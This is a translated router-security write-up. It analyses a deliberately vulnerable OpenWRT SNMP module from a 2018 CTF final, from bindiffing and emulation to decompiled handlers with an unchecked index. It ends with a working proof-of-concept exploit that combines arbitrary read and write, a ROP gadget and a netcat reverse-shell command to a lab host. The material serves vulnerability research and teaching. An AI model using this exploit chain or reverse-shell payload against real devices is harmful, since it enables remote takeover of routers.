Introduction
With the gradual development of the Internet of Things era, the connections between devices are becoming tighter, and each node cannot exist independently. Devices that are closely related to each of us, such as routers, cameras, and printers, increasingly affect various aspects of our lives, from personal privacy to intelligence gathering between hostile forces, and network attacks. In current APT attacks, targeting routers is not uncommon, and with the development of a smart society where everything is interconnected, attacks on routers are becoming more frequent. Therefore, in the future IoT security landscape, router security is also an important aspect, and research on router security is crucial. This article takes OpenWRT routers as an example to explore the security research methods for this type of router. This article is for learning and reference purposes only; please forgive any shortcomings.
Using the Real World Finals 2018 Router, the SNMP service vulnerability is taken as an example to explain the OpenWRT vulnerability exploration process.
# Installation package: libnetsnmp_5.8-1_arm_cortex-a9.ipksnmpd_5.8-1_arm_cortex-a9.i
1. Introduction to OpenWRT
The OpenWRT installation program is installed using IPK
First, IPK is a tar compressed package, and the installation is actually completed by decompressing it to the root directory of the system. Therefore, the installation of IPK is overwriting installation. This means that reinstalling will overwrite the original files.
Structure of IPK
The structure of IPK contains 3 files: debian-binary ## Version information, generally written as 2.0……data.tar.gz ## The data package of the installation package, the main installation files are here, installed by decompressing this file to the root directorycontrol.tar.gz ## Installation configuration files, which contain the configuration scripts of the installation package. # data.tar.gz is the focus of analysis, as it contains library files or applications
2. Finding Custom Functions in OpenWRT Modules
Modular systems like OpenWRT are generally modified based on open-source frameworks, changing sub-modules.
When analyzing programs in OpenWRT firmware, we can compare the files in the installation *.ipk package with the files in the publicly available OpenWRT installation *.ipk package using bindiff to quickly locate custom functions in modified modules. The specific process is as follows:
2.1) Download the SNMP installation package provided by the OpenWRT official website
libnetsnmp_5.8-1_arm_cortex-a9.ipk
snmpd_5.8-1_arm_cortex-a9.ipk
2.2) Compare the files in the installation package
Library file comparison for libnetsnmp_5.8-1_arm_cortex-a9.ipk:
Comparison of the snmpd application in snmpd_5.8-1_arm_cortex-a9.ipk:
It can be found that: libnetsnmpagent.so.35.0.0 and libnetsnmp.so.35.0.0 library files have undergone significant changes
2.3)bindiff comparison of library files
libnetsnmp.so.35.0.0
View init_mib_modules comparison process:
From the comparison, it can be seen that:init_mib_modules (initialize MIB) modified the official OpenWRT provided init_mib_modules.
According to this method, it can be known that:
init_greatSensors
handle_greatMiscSensorsDevice
handle_greatMiscSensorsIndex
are custom functions that are key analysis targets in OpenWRT vulnerability exploration. Then use disassembly tools such as ida, Ghidra for detailed analysis.
3. Environment Setup
3.1)Compile OpenWRT
Required compilation packages for Ubuntu
sudo apt-get install gcc g++ binutils patch bzip2 flex bison make autoconf gettext texinfo unzip sharutils subversion libncurses5-dev ncurses-term zlib1g-dev gawk asciidoc libz-dev
sudo apt-get install gcc sudo apt-get install g++sudo apt-get install binutils sudo apt-get install patch sudo apt-get install bzip2 sudo apt-get install flexsudo apt-get install bison sudo apt-get install makesudo apt-get install autoconf sudo apt-get install gettext sudo apt-get install texinfo sudo apt-get install unzipsudo apt-get install sharutilssudo apt-get install subversionsudo apt-get install libncurses5-dev sudo apt-get install ncurses-term sudo apt-get install zlib1g-devsudo apt-get install subversion sudo apt-get installgit-core sudo apt-get install gawksudo apt-get install asciidoc sudo apt-get install libz-dev
Check compilation environment
# Check if the compilation environment is complete. If an error is prompted, troubleshoot based on the error information. # Generally prompts missing related tools, apt install is sufficient./scripts/feeds update -a./scripts/feeds install -a
Customize the system according to needs
# Target System, Subtarget need to be correctly selected based on the target board model. # Other functional modules are selected according to demand mira@ubuntu:openwrt $ make menuconfig
Target System: BCM47XX/53XX Target Profile: Netgear R6300 v2
Target Images: squashfs // System type
Development: gdb gdbserver // For debugging
View the compiled file system:
mira@ubuntu:openwrt$ cd build_dir/target-arm_cortex-a9_musl_eabi/root-bcm53xxmira@ubuntu:root-bcm53xx$ lsbindevetclibmntoverlayprocromrootsbinsystmpusrvarwww
3.2)Fix snmpd environment and install
Transfer the compiled file system to the debian-armhf virtual system
mira@ubuntu:target-arm_cortex-a9_musl_eabi$ tar -cf ./root-bcm53xx.tar root-bcm53xxmira@ubuntu:target-arm_cortex-a9_musl_eabi$ python -m SimpleHTTPServer 80root@debian-armhf:~/R6300_snmp# wget http://192.168.2.209/root-bcm53xx.tarroot@debian-armhf:~/R6300_snmp# tar -xf ./root-bcm53xx.tar
Transfer the snmpd topic .ipk package to debian-armhf
mira@ubuntu:R6300Snmp$ lslibnetsnmp_5.8-1_arm_cortex-a9.ipksnmpd_5.8-1_arm_cortex-a9.ipkmira@ubuntu:R6300Snmp$ python -m SimpleHTTPServer 80# OpenWrtroot@debian-armhf:~/R6300_snmp/root-bcm53xx # wget http://192.168.2.209/libnetsnmp_5.8-1_arm_cortex-a9.ipkroot@debian-armhf:~/R6300_snmp/root-bcm53xx# wget http://192.168.2.209/snmpd_5.8-1_arm_cortex-a9.ipkroot@debian-armhf:~/R6300_snmp/root-bcm53xx# lsbin rootdev sbinetc snmpd_5.8-1_arm_cortex-a9.ipklib syslibnetsnmp_5.8-1_arm_cortex-a9.ipk tmpmnt usroverlay varproc wwwrom
Mount the file system
root@debian-armhf:~/root-bcm53xx#mount -o bind /dev/ ./dev/ root@debian-armhf:~/root-bcm53xx#mount -t proc /proc/ ./proc/ root@debian-armhf:~/root-bcm53xx# mount sysfs./sys -t sysfs root@debian-armhf:~/root-bcm53xx# chroot . ./bin/sh
Install snmp environment:
/ # mkdir /var/lock/ # mkdir /var/run/ # opkg install ./libnetsnmp_5.8-1_arm_cortex-a9.ipk/ # opkg install ./snmpd_5.8-1_arm_cortex-a9.ipk
Check the installation of snmpd, manually start the service
/ # find / -name snmpdfind: /sys/module/smsc/drivers/mdio_bus:SMSC LAN8710/LAN8720: No such file or directory/usr/sbin/snmpd/etc/init.d/snmpd/etc/config/snmpd/ # netstat -anp|grep snmpd// Not found/ #// manually start/ # /usr/sbin/snmpd/ # netstat -anp|grep snmpdudp 0 0 0.0.0.0:161 0.0.0.0:* 3607/snmpdudp 0 0 :::161 :::* 3607/snmpdunix 2 [ ACC ] STREAM LISTENING 12833 3607/snmpd/var/run/agentx.sock / # ps | grep snmpd2599 root2080 S /usr/sbin/snmpd2784 root1104 S grep snmpd
Use snmpwalk to traverse the SNMP OIDs:
mira@ubuntu:~$ snmpwalk -c public -O n -v 1 192.168.122.89mira@ubuntu:~$ snmpwalk -c public -O n -v 1 192.168.122.89 ..1.3.6.1.4.1.2021.13.32.1.0 = INTEGER: 0.1.3.6.1.4.1.2021.13.32.2.0 = INTEGER: 1995953448End of MIB
4. 1)Introduction to SNMP
Mainly used to provide device operation and system information
1. SNMP is an application layer protocol of the TCP/IP protocol suite, working on UDP port 161. It is used to monitor the operating system, hardware devices, service applications, software and hardware configuration, network protocol status, device performance and resource utilization, device error event information, application status, and other software and hardware information of target devices. 2. The communication strings of SNMP mainly contain two types of commands: GET command and SET command. Get: Read the status information of network devices, such as connection status, interface name, etc. Set: Remote configuration of device parameters, such as disabling a network interface, modifying router parameters, etc. Trap: Management stations can obtain important information from devices in a timely manner. ** Both GET and SET commands may be used for denial-of-service attacks (DoS) and malicious modification of network parameters.
The SNMP protocol is based on the OID tree for information storage management
A complete SNMP system mainly includes Management Information Base (MIB), Structure of Management Information (SMI), and SNMP message protocol.
Management Information Base MIB: Defines the network devices that can be accessed and their attributes, uniquely identified by Object Identifiers (OID). MIB is a tree structure, and SNMP protocol messages access devices in the network by traversing the nodes of the MIB tree directory. The identifier of a specific object can be obtained through the path from the root to that object. For example, the MIB variable named ipInReceives under the ip namespace node is assigned the numerical value 3, thus the name of this variable is: iso.org.dod.internet.mgmt.mib.ip.ipInReceives, and the corresponding numerical representation (Object Identifier OID, uniquely identifies a MIB object) is: 1.3.6.1.2.1.4.3
SNMP Commands
snmpwalk
SNMPWALK is a command that implements complete extraction output of specified MIB branch information from the target AGENT through SNMP GET-NEXT type PDU.
snmpwalk [options] agent [oid]a) –h Show helpb) –v 1|2c|3 Specify SNMP protocol versionc) –V Show the current SNMPWALK command line versiond) –r RETRIES Specify the number of retries, default is 0 times.e) –t TIMEOUT Specify the waiting timeout for each request, in seconds, default is 3 seconds.f) –Cc Specify whether to continue WALK if negative growth of OID is found during WALK.2. Options for V1 and V2C a) –c COMMUNITY Specify the community string. 3. Options for V3 a) –l LEVEL Specify security level: noAuthNoPriv|authNoPriv|authPrivb) –u USER-NAME Security namec) –a PROTOCOL Verification protocol: MD5|SHA. Required only if -l is specified as authNoPriv or authPriv.d) –A PASSPHRASE Verification string. Required only if -l is specified as authNoPriv or authPriv.e) –x PROTOCOL Encryption protocol: DES. Required only if -l is specified as authPriv.f) –X PASSPHRASE Encryption string: Required only if -l is specified as authPriv.
snmpwalk -c public -o n -v 1 192.168.1.1snmpget -c public -v 1 192.168.1.1 1.3.6.1.4.1.2021.13.32.1.0 // Readsnmpset -c public -v 1 192.168.1.1 1.3.6.1.4.1.2021.13.32.1.0 i val // Set value (overwrite, there are vulnerabilities)
4.2)SNMP Demo
The development of SNMP is mainly based on the open-source framework and follows the SNMP interface to develop sub-modules.
/** Note: this file originally auto-generated by mib2c using* $*/#include <net-snmp/net-snmp-config.h>#include <net-snmp/net-snmp-includes.h>#include <net-snmp/agent/net-snmp-aget-includes.h>#include "Test.h"#include <time.h>/** Initializes the Test module */voidinit_Test(void){const oidGetTime_oid[] = { 1, 3, 6, 1, 4, 1, 16535, 1, 1 };DEBUGMSGTL(("Test", "Initializing\n"));netsnmp_register_scalar(netsnmp_create_handler_registration ("GetTime", handle_GetTime, GetTime_oid, OID_LENGTH(GetTime_oid),HANDLER_CAN_RONLY));}inthandle_GetTime(netsnmp_mib_handler *handler,netsnmp_handler_registration *reginfo, netsnmp_agent_request_info *reqinfo, netsnmp_request_info *requests){/**We are never called for a GETNEXT if it's registered as a *"instance", as it's "magically" handled for us.*//**a instance handler also only hands us one request at a time, so *we don't need to loop over a list of requests; we'll only get one.*/time_t t;switch (reqinfo->mode) { case MODE_GET: time(&t); char szTime[100]; snprintf(szTime,100,"%s",ctime(&t)); snmp_set_var_typed_value(requests->requestvb, ASN_OCTET_STR,/** XXX: a pointer to the scalar's data*/ szTime ,/** XXX: the length of the data in bytes*/ strlen(szTime));break;default:/** we should never get here, so this is a really bad error*/snmp_log(LOG_ERR, "unknown mode (%d) in handle_GetTime\n", reqinfo->mode);return SNMP_ERR_GENERR;}return SNMP_ERR_NOERROR;}static int keep_running;RETSIGTYPE stop_server(int attribute ((unused)) a) { keep_running = 0;}int main(){const char *app_name = "Test";/* we are a subagent */netsnmp_ds_set_boolean(NETSNMP_DS_APPLICATION_ID, NETSNMP_DS_AGENT_ROLE, 1);/* initialize the agent library */ init_agent(app_name);/* initialize your mib code here */ init_Test();/* Test will be used to read Test.conf files. */ init_snmp("Test");keep_running = 1; while(keep_running)agent_check_and_process(1);/* block every 1 second */}/* at shutdown time */ snmp_shutdown(app_name);/* deinitialize your mib code here *//* shutdown the agent library */ shutdown_agent();return 0;}int main (int argc, char **argv){int arg;char* cp = NULL;int dont_fork = 0, do_help = 0;while ((arg = getopt(argc, argv, "dD:fhHL:"#ifndef DISABLE_MIB_LOADING"m:M:"#endif /* DISABLE_MIB_LOADING */"n:"#ifndef DISABLE_MIB_LOADING"P:"#endif /* DISABLE_MIB_LOADING */"vx:")) != EOF) {switch (arg) {case 'D':/* Here omitted multiple case breaks, just some options, no need to study/ break;default:fprintf(stderr, "invalid option: -%c\n", arg); usage(argv[0]);break; }}if (do_help) { netsnmp_ds_set_boolean(NETSNMP_DS_APPLICATION_ID,NETSNMP_DS_AGENT_NO_ROOT_ACCESS, 1);} else {/* we are a subagent First step: here is to tell snmpd we this Test as a sub-agent */ netsnmp_ds_set_boolean(NETSNMP_DS_APPLICATION_ID,NETSNMP_DS_AGENT_ROLE, 1);if (!dont_fork) {/* Here is to make the Test program become a daemon, executing Test can run in the background without exiting */if (netsnmp_daemonize(1, snmp_stderrlog_status()) != 0) exit(1);}/* initialize tcpip, if necessary */ SOCK_STARTUP;}/* initialize the agent library Second step */ init_agent(app_name);/* initialize your mib code here Third step */init_Test();/* Test will be used to read Test.conf files. Fourth step */ init_snmp("Test");if (do_help) {fprintf(stderr, "Configuration directives understood:\n"); read_config_print_usage("");exit(0);}/* In case we received a request to stop (kill -TERM or kill -INT) */netsnmp_running = 1;#ifdef SIGTERMsignal(SIGTERM, stop_server);#endif#ifdef SIGINTsignal(SIGINT, stop_server);#endif#ifdef SIGHUPsignal(SIGHUP, hup_handler);#endif/* main loop here... */ while(netsnmp_running) {if (reconfig) { free_config(); read_configs(); reconfig = 0;}agent_check_and_process(1);}/* at shutdown time */ snmp_shutdown(app_name);/* deinitialize your mib code here *//* shutdown the agent library */ shutdown_agent();SOCK_CLEANUP;exit(0);}
4.3)Analysis of Three Key SNMP Functions
Used to locate custom functions (key focus of vulnerability exploration)
Net-SNMP Agent handler and extensibility API
init_mib_modules
Initializes the MIB, and can check the registered module interfaces through this function to find custom device objects and custom functions.
void init_mib_modules(void){#ifdef USING_IF_MIB_DATA_ACCESS_INTERFACE_MODULEnetsnmp_access_interface_init();#endif#include "mib_module_inits.h"}
netsnmp_create_handler_registration
netsnmp_handler_registration * netsnmp_create_handler_registration(const char *name,// Register function nameNetsnmp_Node_Handler *handler_access_method,// Register functionconst oid *reg_oid, size_treg_oid_len,intmodes) Creates a handler registration structure using a new MIB handler. This function first creates a MIB handler, then creates a registration structure for it. Parameters: name is the handler name of netsnmp_create_handler() handler_access_method is a function pointer used as an access method for netsnmp_create_handler() reg_oid is the registration location oid. reg_oid_len is the length of reg_oid; can use OID_LENGTH macro modes for configuring read/write access, such as netsnmp_handler_registration_create() Return value: Returns a pointer to the netsnmp_handler_registration structure. If the structure creation fails, returns NULL.
snmp_set_var_typed_value
handle_GetTime(netsnmp_mib_handler *handler,netsnmp_handler_registration *reginfo, netsnmp_agent_request_info *reqinfo, netsnmp_request_info *requests); // Callback function // snmp_set_var_typed_value data transfersnmp_set_var_typed_value(requests->requestvb, ASN_OCTET_STR,/*XXX: a pointer to the scalar's data*/ szTime,/*XXX: the length of the data in bytes*/ strlen(szTime))}// The registration function for locating callback functions (custom functions, key focus of vulnerability exploration) netsnmp_register_scalar(netsnmp_create_handler_registration("GetTime", handle_GetTime , GetTime_oid, OID_LENGTH(GetTime_oid), HANDLER_CAN_RONLY));
Based on the above—2. Finding Custom Functions in OpenWRT Modules results, function analysis
int init_mib_modules(){int result; // r0@1 int v1; // r3@3result = should_init((int)"greatSensors"); if ( result )result = j_init_greatSensors(); v1 = dword_1102C;dword_11028 = 1;if ( !dword_1102C ){dword_1102C = 1;result = snmp_register_callback(v1, 2, sub_9D4); if ( result )result = snmp_log(3, "error registering for SHUTDOWN callback for mib modules\n");}return result;}
Register callback functions
// Register oidvoid *init_greatSensors(){ int v0; // r0@1 int v1; // r0@1 void *result; // r0@1 int device_oid; // [sp+10h] [bp-60h]@1 signed int v4; // [sp+14h] [bp-5Ch]@1 signed int v5; // [sp+18h] [bp-58h]@1 signed int v6; // [sp+1Ch] [bp-54h]@1 signed int v7; // [sp+20h] [bp-50h]@1 signed int v8; // [sp+24h] [bp-4Ch]@1 signed int v9; // [sp+28h] [bp-48h]@1 signed int v10; // [sp+2Ch] [bp-44h]@1 signed int v11; // [sp+30h] [bp-40h]@1 signed int v12; // [sp+34h] [bp-3Ch]@1 int index_oid; // [sp+38h] [bp-38h]@1 signed int v14; // [sp+3Ch] [bp-34h]@1 signed int v15; // [sp+40h] [bp-30h]@1 signed int v16; // [sp+44h] [bp-2Ch]@1 signed int v17; // [sp+48h] [bp-28h]@1 signed int v18; // [sp+4Ch] [bp-24h]@1 signed int v19; // [sp+50h] [bp-20h]@1 signed int v20; // [sp+54h] [bp-1Ch]@1signed int v21; // [sp+58h] [bp-18h]@1 signed int v22; // [sp+5Ch] [bp-14h]@1 device_oid = 1; v4 = 3; v5 = 6; v6 = 1; v7 = 4; v8 = 1; v9 = 2021; v10 = 13; v11 = 32; v12 = 2; index_oid = 1; v14 = 3; v15 = 6; v16 = 1; v17 = 4; v18 = 1; v19 = 2021; v20 = 13; v21 = 32; v22 = 1; v0 = netsnmp_create_handler_registration((int)"greatMiscSensorsDevice", (int)off_10FFC, (int)&device_oid, 10); netsnmp_register_scalar(v0); v1 = netsnmp_create_handler_registration((int)"greatMiscSensorsIndex", (int)off_10FF0, (int)&index_oid, 10); netsnmp_register_scalar(v1); result = malloc(0x78u);dword_11024 = (int)result;dword_11020 = 0;return result;}
5.1)Two Callback Functions:
handle_greatMiscSensorsIndex (Vulnerability Point)
int fastcall handle_greatMiscSensorsIndex(int a1, int a2, netsnmp_agent_request_info *reginfo, _DWORD *requests){int v4; // r4@1_DWORD *v5; // r5@2 netsnmp_agent_request_info *v6; // r6@2 int result; // r0@5v4 = reginfo->mode;if ( reginfo->mode == 2 ) //write buf{dword_11020_index = **(_DWORD **)(*requests + 16); // No check for data, leading to integer overflowreturn 0;}v5 =requests; v6 =reginfo;if (reginfo->mode > 2 ) //read buf{if ( v4 > 5 ){if ( v4 != 160 )goto LABEL_5;snmp_set_var_typed_value(*requests, 2, (int)&dword_11020_index, 4);}return 0;}if ( v4 ){if ( v4 != 1 ){ LABEL_5:snmp_log(3, "unknown mode (%d) in handle_greatMiscSensorsDevice\n", reginfo->mode);return 5;}return 0;}result = netsnmp_check_vb_type(*requests, 2); if ( result ){netsnmp_set_request_error(v6, v5, result); return 0;}return result;}
5.2)handle_greatMiscSensorsDevice
int fastcall handle_greatMiscSensorsDevice(int a1, int a2, netsnmp_agent_request_info *reginfo, _DWORD *a4){netsnmp_agent_request_info *v4; // r6@1 int v5; // r4@1_DWORD *v6; // r5@1int result; // r0@5int v8; //r0@8int v9; //r3@9const char*v10; // r2@9int v11; // r1@9signed int v12; // r2@15v4 =reginfo;v5 = reginfo->mode; v6= a4;if( reginfo->mode == 2 ) //write buf{if ( dword_11020_index <= 29 ){*(_DWORD *)(dword_11024_devbuf + 4 * dword_11020_index) = **(_DWORD **)(*a4 + 16);return 0;}v12 = 13; LABEL_16:netsnmp_set_request_error(v4, v6, v12); return 0;}if ( reginfo->mode > 2 ) //read buf{if ( v5 > 5 ){if ( v5 != 160 )goto LABEL_5; v8 = *a4;if ( dword_11020_index > 29 ){v9 = 7;v11 = 4;v10 = "Go Back";}else{ // When dword_11020_index <=29, read memory based on dword_11020_index value v9 = 4;v10 = (const char *)(dword_11024_devbuf + 4 * dword_11020_index); v11 = 2;}snmp_set_var_typed_value(v8, v11, (int)v10, v9);}return 0;}if ( v5 ){if ( v5 != 1 ){ LABEL_5:snmp_log(3, "unknown mode (%d) in handle_greatMiscSensorsDevice\n", reginfo->mode);return 5;}return 0;}result = netsnmp_check_vb_type(*a4, 2); if ( result ){v12 = result; goto LABEL_16;}return result;}
When the value of dword_11020_index is set to greater than 29, the value of device_oid (.1.3.6.1.4.1.2021.13.32.2.0) is:Go Back
5.3)Vulnerability Analysis
The handle_greatMiscSensorsIndex oid object (.1.3.6.1.4.1.2021.13.32.1.0) sets the value of dword_11020_index:
if ( reginfo->mode == 2 ) //write buf{dword_11020_index = **(_DWORD **)(*requests + 16); // No check for data, leading to integer overflowreturn 0;}
handle_greatMiscSensorsDevice oid object (.1.3.6.1.4.1.2021.13.32.2.0) write operation is as follows:
if ( reginfo->mode == 2 ) //write buf{if ( dword_11020_index <= 29 ){*(_DWORD *)(dword_11024_devbuf + 4 * dword_11020_index) = **(_DWORD **)(*a4+ 16);return 0;}
Causes of Vulnerability
In handle_greatMiscSensorsDevice, the memory write location is determined based on the value of dword_11020_index in handle_greatMiscSensorsIndex, and there is no check for the value of dword_11020_index when set, leading to arbitrary write when dword_11020_index is less than 0; the same goes for read, allowing arbitrary read.
The POC code for this environment is as follows:
from pwn import * import sysimport os import structcontext.log_level="debug"def read(ip,offset):cmd1="snmpset -c public -v 1 %s .1.3.6.1.4.1.2021.13.32.1.0 i %s" % (ip,offset/4)cmd2="snmpget -c public -v 1 %s .1.3.6.1.4.1.2021.13.32.2.0" %ip os.system(cmd1)p2=process(cmd2,shell=True) p2.recvuntil("INTEGER: ") leak=int(p2.recvuntil("\n").strip()) if leak<0:leak = 0x100000000+leak p2.close()return leakdef write(ip,offset,data):cmd1="snmpset -c public -v 1 %s .1.3.6.1.4.1.2021.13.32.1.0 i %s" % (ip,offset/4)cmd2="snmpset -c public -v 1 %s .1.3.6.1.4.1.2021.13.32.2.0 i %s" %(ip,data) os.system(cmd1)time.sleep(1)os.system(cmd2)def getshell(ip):cmd3="snmpget -c public -v 1 %s .1.3.6.1.4.1.2021.13.32.1.0" %ip os.system(cmd3)if name ==" main ": ip=sys.argv[1]#lead addr# handler_dev: 0x76e72ffcdev_buf(0x76f349f0) handler_dev_addr=read(ip,-0xC19F4) mibso_base=handler_dev_addr-0x70c# Calculate libc.so base address based on libnetsnmpmibs.so base address# offset = libc_addr - libnetsnmpmibs.so.35.0.0_addr = 0x76f46000 - 0x76ef5000 = 0x51000libc_address = mibso_base+0x51000 log.info("mibso_base="+hex(mibso_base)) log.info("libc_base="+hex(libc_address))system_addr = libc_address +0x43210dev_buf = mibso_base +0xd2e90 # calc dev_buf dev_buf(0xb6fe5e90)- mibso_base(vmmp)cmd_buf = mibso_base+0x11100 # store cmd bufmagic = libc_address +0x596BC # dword_80394(dword_80398); rop chain rop_func = libc_address +0x80394rop_para = libc_address +0x80398# write cmd to cmd_bufcmd = 'rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/ls -i 2>&1|nc 192.168.2.209 8888 > /tmp/f\x00\x00\x00\x00'for i in range(len(cmd)/4):write(ip,cmd_buf-dev_buf+i*4,struct.unpack('i',cmd[i*4: i*4+4])[0])time.sleep(1)write(ip, rop_func - dev_buf, system_addr-0x100000000) write(ip, rop_para - dev_buf, cmd_buf-0x100000000)# write handler_indexrop_addr = -0xC1A00 #dev_buf(0x76f349f0) - handler_index(0x76e72ff0) write(ip,rop_addr,magic-0x100000000)getshell(ip)
ROP Information:
#### ROP// Arbitrary memory write when R3 system; R2 param// libc.so :arm LOAD:000596BC LDR R3, =(dword_80394 - 0x596CC)LOAD:000596C0 LDR R2, =(dword_80398 - 0x596D0)LOAD:000596C4 ADD R3, PC, R3 ; dword_80394LOAD:000596C8 LDR R0, [PC,R2] ; dword_80398LOAD:000596CC LDR R3, [R3]LOAD:000596D0 BLX R3LOAD:000596D4 MOV R0, R5LOAD:000596D8 BL sem_postLOAD:000596DC MOV R0, R4LOAD:000596E0 BL sem_wait
Listening
Executing poc.py
References
https://www.jianshu.com/p/77293121030e
Please indicate from: Critical Infrastructure Security Emergency Response Center (WeChat ID: CII-SRC)